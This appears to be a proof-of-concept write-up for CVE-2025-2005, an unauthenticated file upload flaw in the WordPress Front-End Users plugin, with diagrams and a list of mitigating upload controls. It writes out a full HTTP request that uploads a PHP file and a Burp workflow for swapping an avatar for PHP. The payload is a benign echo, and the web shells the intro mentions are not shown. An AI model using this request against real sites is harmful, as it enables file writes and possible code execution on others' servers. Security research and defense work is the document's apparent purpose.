
Proof-of-concept exploit for CVE-2025-2005, an arbitrary file upload vulnerability in the WordPress Front-End Users Plugin (<=3.2.32). Includes manual HTTP and Python exploit scripts for uploading PHP web shells to unauthenticated registration forms.
Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32.
The vulnerable registration workflow exposes an upload primitive that can be reached without requiring a privileged WordPress account.
The underlying issue is insufficient validation of attacker-controlled upload metadata and content before the file is persisted to the filesystem.
UNAUTHENTICATED ATTACKER
│
▼
Public registration form
│
▼
multipart/form-data
│
▼
Front-End Users handler
│
▼
Insufficient validation
│
▼
Attacker-controlled file
│
▼
/wp-content/uploads/ewd_feup_uploads/
│
▼
Web-accessible resource
│
▼
PHP execution if permitted
│
▼
RCE
The final impact depends on the target's web-server and PHP configuration.
| Property | Value |
|---|---|
| CVE | CVE-2025-2005 |
| Product | Front-End Users |
| Affected versions | ≤ 3.2.32 |
| CWE | CWE-434 |
| Class | Unrestricted Upload of File with Dangerous Type |
| Attack vector | Network |
| Authentication | None |
| Privileges required | None |
| User interaction | None |
| Primary primitive | Arbitrary file upload |
| Potential impact | Remote Code Execution |
| Researcher | h4ckxel |
| Namespace | 0xZ3R0 |
Unrestricted Upload of File with Dangerous Type
The vulnerable behavior can be reduced to:
Untrusted Input
│
├── filename
├── extension
├── MIME type
└── file content
│
▼
upload handler
│
▼
filesystem
The security boundary fails because attacker-controlled data reaches a persistent filesystem location without sufficient validation.
The vulnerable functionality is associated with the plugin's front-end registration system.
A typical registration request contains:
ewd-feup-action=register
Username=<value>
User_Password=<value>
and may contain an additional multipart file field:
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
Content-Type: application/x-php
The interesting part isn't the registration itself.
The interesting part is that the request crosses the following trust boundary:
INTERNET
│
▼
attacker-controlled HTTP
│
▼
registration endpoint
│
▼
upload handler
│
▼
filesystem
The vulnerability originates from inadequate server-side validation of uploaded files.
A secure implementation should establish multiple independent controls:
UPLOAD
│
┌────────────┴────────────┐
▼ ▼
Authentication Authorization
│ │
└────────────┬────────────┘
▼
Extension allowlist
│
▼
MIME verification
│
▼
Content validation
│
▼
Server-side filename
│
▼
Non-executable storage
Any one of these controls being absent does not necessarily create RCE.
The problem becomes substantially more severe when multiple layers fail simultaneously.
The following PoC demonstrates the file-write primitive without deploying a command shell.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"
poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php
<?php echo "CVE-2025-2005"; ?>
------0xZ3R0Boundary--
wp-content/
└── uploads/
└── ewd_feup_uploads/
└── <randomized-name>.php
The important observation is:
attacker-controlled extension
+
attacker-controlled content
+
persistent filesystem write
A practical workflow for a lab environment:
[1] Open registration page
│
▼
[2] Submit legitimate registration
│
▼
[3] Intercept request with Burp
│
▼
[4] Locate multipart file parameter
│
▼
[5] Replace benign file with PoC file
│
▼
[6] Forward request
│
▼
[7] Inspect response
│
▼
[8] Verify filesystem artifact
│
▼
[9] Test whether uploads are executable
The security-critical observation should be made before attempting any post-exploitation.
Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"
<image-data>
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
<?php echo "CVE-2025-2005"; ?>
Conceptually:
- filename="avatar.jpg"
+ filename="poc.php"
- <image-data>
+ <?php echo "CVE-2025-2005"; ?>
This illustrates the core primitive without relying on a weaponized payload.